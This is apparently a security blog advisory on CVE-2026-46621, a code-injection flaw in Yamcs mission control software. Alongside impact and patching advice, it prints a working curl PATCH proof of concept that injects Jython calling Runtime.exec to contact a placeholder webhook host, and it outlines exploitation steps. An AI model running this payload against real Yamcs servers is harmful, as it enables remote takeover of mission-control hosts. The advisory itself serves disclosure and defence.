Listen to this Post
How CVE-2026-46621 Works
Yamcs is an open‑source mission control framework used in space operations to process telemetry, manage spacecraft commands, and run custom algorithms. Prior to versions 5.12.7 and 5.13.0, the platform included a Python scripting engine powered by Jython, which is a Java‑based implementation of Python. This engine was exposed through the JSR‑223 ScriptEngine API, allowing administrators to define and modify algorithms dynamically via the Mission Database (MDB) REST API.
The vulnerability arises because Yamcs compiles and executes user‑supplied algorithm text on‑the‑fly without any form of sandboxing or security restrictions. When an authenticated user with the `ChangeMissionDatabase` privilege sends an update to an existing Python algorithm through the endpoint /api/mdb/{instance}/realtime/algorithms/{name}, the `AlgorithmManager` passes the new script text to ScriptAlgorithmExecutorFactory. That factory instantiates a Jython ScriptEngine and evaluates the code directly.
Because Jython is designed for seamless interoperability with Java, an attacker can import arbitrary Java classes inside the algorithm text. The most dangerous class is java.lang.Runtime, which provides methods to execute operating‑system commands. By injecting a payload that calls Runtime.getRuntime().exec(), the attacker can run any shell command on the underlying host with the same privileges as the Yamcs process.
The attack requires only that a Python algorithm already exists in the mission database – the API does not allow changing the language of an algorithm, so the attacker must target an existing python‑language algorithm. Once the malicious script is saved, the payload is executed automatically the next time telemetry data triggers that algorithm (e.g., when a simulator updates the required input parameters). There is no additional validation or approval step, making the RCE immediate and reliable.
This flaw is classified as a server‑side code injection (CWE‑94) and has been assigned a CVSS v3.1 base score of 9.1 (Critical) , reflecting the network‑accessible attack vector, low complexity, required high privileges, and the potential for full system compromise with impact on confidentiality, integrity, and availability. The issue was discovered and reported by Pablo Picurelli Ortiz and patched in releases 5.12.7 and 5.13.0, which disable algorithm editing by default.
DailyCVE Form:
Platform: Yamcs
Version: < 5.12.7
Vulnerability: Code Injection
Severity: Critical (9.1)
Date: 2026‑05‑27
Prediction: Patch already released
What Undercode Say
Analytics
- CVSS v3.1 Vector: `AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`
– Base Score: 9.1 (Critical) - EPSS: 0.47% (probability of exploitation in the wild)
- CWE: 94 – Improper Control of Generation of Code (‘Code Injection’)
- Attack Requirements: Authenticated user with `ChangeMissionDatabase` privilege; existing Python algorithm in the MDB; Jython‑standalone dependency in classpath.
- Patch Availability: Yes – versions 5.12.7 and 5.13.0.
Bash Commands & PoC Code
The following authenticated `PATCH` request overwrites a Python algorithm named `poc` with a payload that executes an OS command (e.g., triggering a webhook to confirm RCE):
curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
-d '{
"action": "SET",
"algorithm": {
"text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
}
}'
Note: The line `out0.value = 1.0` ensures the algorithm returns a valid data type to the Yamcs processor, preventing crash loops and ensuring clean execution.
Exploit
Prerequisites
- A running Yamcs instance with the Jython engine available (e.g., `jython-standalone` dependency included).
- An active authentication token for a user with
SystemPrivilege.ChangeMissionDatabase. - An existing algorithm defined in the MDB with its language set to `python` (the API does not allow changing the language of an algorithm, so an existing Python algorithm must be targeted).
Exploitation Steps
- Inject the payload – Send an authenticated `PATCH` request to the MDB API endpoint, embedding malicious Jython code that imports `java.lang.Runtime` and executes an OS command (e.g., a reverse shell, data exfiltration, or a webhook callback).
- Trigger the algorithm – Wait for or force telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update required parameters like
Sunsensor). - Achieve RCE – The Yamcs server compiles the injected text into an executable script on‑the‑fly and runs it. The OS command executes on the host with the privileges of the Yamcs process.
Protection
- Upgrade immediately – Update to Yamcs 5.12.7 or 5.13.0 (or later). These releases disable algorithm editing by default, eliminating the attack surface.
- Restrict privileges – If upgrading is not possible, revoke the `ChangeMissionDatabase` privilege from all users except absolutely trusted administrators.
- Disable Jython engine – As a temporary workaround, remove the `jython-standalone` dependency from the classpath or configure Yamcs to use a different (non‑Jython) scripting backend.
- Network segmentation – Place the Yamcs API behind a firewall or VPN, allowing only authorised internal networks to access the MDB endpoints.
- Monitor logs – Audit API calls to `/api/mdb//realtime/algorithms/` for unexpected `PATCH` or `PUT` requests, and alert on anomalous algorithm text containing
Runtime,exec, or other dangerous Java classes.
Impact
- Remote Code Execution – An attacker with the `ChangeMissionDatabase` privilege can execute arbitrary operating‑system commands on the host running Yamcs.
- Full System Compromise – Because the Yamcs process typically runs with high privileges, the attacker can gain complete control over the underlying server, install backdoors, or pivot to other internal systems.
- Data Exfiltration – Mission‑critical telemetry, spacecraft commands, and configuration data can be stolen or tampered with.
- Operational Disruption – Malicious algorithms can corrupt real‑time processing, send false commands to spacecraft, or cause denial of service by crashing the Yamcs instance.
- Lateral Movement – The compromised host can be used as a foothold to attack other components within the mission control infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
